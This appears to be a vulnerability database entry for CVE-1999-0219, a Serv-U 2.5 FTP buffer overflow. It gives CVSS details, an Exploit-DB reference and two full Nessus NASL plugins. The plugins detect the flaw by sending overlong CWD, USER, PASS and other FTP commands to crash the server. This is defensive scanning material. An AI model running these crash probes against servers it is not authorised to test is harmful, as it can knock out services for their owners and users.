Vulnerabilities > CVE-1999-0219 - Unspecified vulnerability in CAT Soft Serv-U 2.5

047910
CVSS 7.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
COMPLETE
network
low complexity
cat-soft
nessus
exploit available

Summary

Buffer overflow in FTP Serv-U 2.5 allows remote authenticated users to cause a denial of service (crash) via a long (1) CWD or (2) LS (list) command.

Vulnerable Configurations

Part Description Count
Application
Cat_Soft
1

Exploit-Db

descriptionCat Soft Serv-U 2.5 Buffer Overflow Vulnerabilities. CVE-1999-0219. Remote exploit for linux platform
idEDB-ID:19218
last seen2016-02-02
modified1999-05-03
published1999-05-03
reporterArne Vidstrom
sourcehttps://www.exploit-db.com/download/19218/
titleCat Soft Serv-U 2.5 - Buffer Overflow Vulnerabilities

Nessus

  • NASL familyFTP
    NASL idFTP_SERVU_DOS.NASL
    descriptionThe remote FTP server is affected by a buffer overflow vulnerability. A remote, authenticated user can cause a denial of service via a long
    last seen2020-06-01
    modified2020-06-02
    plugin id10089
    published1999-06-22
    reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/10089
    titleServ-U CWD Command Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
     script_id(10089);
     script_version("1.38");
     script_cvs_date("Date: 2018/07/11 17:09:24");
    
     script_cve_id("CVE-1999-0219");
     script_bugtraq_id(269);
    
     script_name(english:"Serv-U CWD Command Overflow");
     script_summary(english:"Attempts a CWD buffer overflow");
    
     script_set_attribute(attribute:"synopsis", value:"The remote FTP server is affected by a buffer overflow vulnerability.");
     script_set_attribute(attribute:"description", value:
    "The remote FTP server is affected by a buffer overflow vulnerability.
    A remote, authenticated user can cause a denial of service via a long
    'CWD' or 'LS' command. An attacker could exploit this to crash the
    affected host.");
     script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
    
     script_set_attribute(attribute:"vuln_publication_date", value:"1997/07/01");
     script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");
    
     script_set_attribute(attribute:"potential_vulnerability", value:"true");
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_end_attributes();
    
     script_category(ACT_DENIAL);
    
     script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
     script_family(english:"FTP");
    
     script_dependencie("ftp_anonymous.nasl", "ftpserver_detect_type_nd_version.nasl");
    # script_exclude_keys("ftp/msftpd");
     script_require_keys("ftp/login", "ftp/servu", "Settings/ParanoidReport");
     script_require_ports("Services/ftp", 21);
    
     exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include('misc_func.inc');
    include('ftp_func.inc');
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    login = get_kb_item_or_exit("ftp/login");
    password = get_kb_item("ftp/password");
    
    port = get_ftp_port(default: 21);
    
    banner = get_ftp_banner(port:port);
    if ( !banner || "Serv-U FTP Server" >!< banner ) exit(0);
    
    
    soc = open_sock_tcp(port);
    if (! soc) exit(1);
    
      if(ftp_authenticate(socket:soc, user:login, pass:password))
      {
       s = strcat('CWD ', crap(4096), '\r\n');
       send(socket:soc, data:s);
       r = recv_line(socket:soc, length:1024);
       if (!r) security_hole(port);
      }
      close(soc);
    
  • NASL familyFTP
    NASL idFTP_OVERFLOW.NASL
    descriptionThe remote FTP server closes the connection when a command or argument is too long. This is probably due to a buffer overflow and may allow an attacker to execute arbitrary code on the remote host.
    last seen2020-06-01
    modified2020-06-02
    plugin id10084
    published1999-06-22
    reporterThis script is Copyright (C) 1999-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/10084
    titleMultiple FTP Server Command Handling Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    if (NASL_LEVEL < 3000) exit(0);
    
    include("compat.inc");
    
    if(description)
    {
     script_id(10084);
     script_version ("1.85");
    
     script_cve_id(
      "CVE-1999-0219",
      "CVE-2000-0870",
      "CVE-2000-0943",
      "CVE-2000-1035",
      "CVE-2000-1194",
      "CVE-2002-0126",
      "CVE-2003-0271",
      "CVE-2005-0634",
      "CVE-2005-1415"
     );
     script_bugtraq_id(269, 1227, 1675, 1690, 1858, 3884, 7251, 7278, 7307, 12704, 13454);
    
     script_name(english:"Multiple FTP Server Command Handling Overflow");
     
     script_set_attribute(attribute:"synopsis", value:
    "The remote FTP server is susceptible to buffer overflow attacks." );
     script_set_attribute(attribute:"description", value:
    "The remote FTP server closes the connection when a command or argument
    is too long.  This is probably due to a buffer overflow and may allow
    an attacker to execute arbitrary code on the remote host." );
     script_set_attribute(attribute:"solution", value:
    "Upgrade / switch the FTP server software or disable the service if 
    it is not needed." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
     script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
     script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
     script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
     script_set_attribute(attribute:"exploit_framework_core", value:"true");
     script_set_attribute(attribute:"metasploit_name", value:'GlobalSCAPE Secure FTP Server Input Overflow');
     script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
     script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
     script_set_attribute(attribute:"vuln_publication_date", value: "1997/07/01");
     script_cvs_date("Date: 2018/08/31 12:25:01");
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_end_attributes();
     
     summary["english"] = "attempts some buffer overflows";
     script_summary(english:summary["english"]);
     
     script_category(ACT_DESTRUCTIVE_ATTACK);
     
     script_copyright(english: "This script is Copyright (C) 1999-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
     script_family(english:"FTP");
     script_dependencies("ftpserver_detect_type_nd_version.nasl");
     script_require_keys("ftp/login", "ftp/password");
     script_exclude_keys("global_settings/supplied_logins_only");
     script_require_ports("Services/ftp", 21);
     exit(0);
    }
    
    #
    # The script code starts here
    #
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("ftp_func.inc");
    
    if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
    
    global_var port = get_ftp_port(default: 21);
    
    foreach f (make_list("msftpd", "ncftpd", "fw1ftpd", "vxftpd"))
      if (get_kb_item("ftp/"+port+"/"+f))
        exit(0, "The FTP server on port "+port+" is "+f+".");
    
    function is_vulnerable (value)
    {
     if (service_is_dead(port: port) > 0)
     {
       set_kb_item(name:"ftp/overflow", value:TRUE);
       set_kb_item(name:"ftp/"+port+"/overflow", value:TRUE);
       set_kb_item(name:"ftp/"+port+"/overflow_method", value:value);
       security_hole(port);
     }
     exit (0);
    }
    
    soc = open_sock_tcp(port);
    if (! soc) exit(1, "Connection failed to port "+port+".");
    
      ftp_debug(str:"custom banner");
      d = ftp_recv_line(socket:soc);
      if(!d){
    	close(soc);
    	exit(1, "No answer on port "+port+".");
    	}
      if(!egrep(pattern:"^220[ -]", string:d))
       {
        # not an FTP server
        close(soc);
        exit(1, "The service on port "+port+" does not look like FTP.");	
       }
     
      if ("Microsoft FTP Service" >< d)
        exit(0, "MS FTP is running on port "+port+".");
     
      req = 'USER ftp\r\n';
      send(socket:soc, data:req);
      d = ftp_recv_line(socket:soc);
      ftp_close(socket:soc);
      if(!d)
      {
       exit(1, "No answer on port "+port+".");	
      }
      
      soc = open_sock_tcp(port);
      if ( ! soc ) exit(1, "Connection failed to port "+port+".");
      d = ftp_recv_line(socket:soc);
      s = ('USER ' + crap(4096) + '\r\n');
      send(socket:soc, data:s);
      d = ftp_recv_line(socket:soc);
      if(!d){
    	close (soc);
    	is_vulnerable (value:"USER");
    	}
    
       # Let's try to access it with valid credentials now.
       login = get_kb_item("ftp/login");
       password = get_kb_item("ftp/password");
    
       s = ('USER ' + login + '\r\n');
       send(socket:soc, data:s);
       d = ftp_recv_line(socket:soc);
       # ProFTPD 1.5.2 crashes with more than 12 KB
       s = ('PASS ' + crap(12500) + '\r\n');
       send(socket:soc, data:s);
       d = ftp_recv_line(socket:soc);
       if(!d){
    	close (soc);
    	is_vulnerable (value:"PASS");
    	}
    
         s = ('PASS ' + password + '\r\n');
         send(socket:soc, data:s);
         d = ftp_recv_line(socket:soc);
         if(!d) exit(1, "No answer from port "+port+".");
    
         foreach cmd (make_list ('CWD', 'LIST', 'STOR', 'RNTO', 'MKD', 'XMKD', 
         	 'RMD', 'XRMD', 'APPE', 'SIZE', 'RNFR', 'HELP', ''))
         {
           s = (cmd + ' ' + crap(4096) + '\r\n');
           d = ftp_recv_line(socket:soc);
           if (! d)
           {
    	close (soc);
    	is_vulnerable (value: cmd);
           }
         }
    		
    
       if ( soc )  close(soc);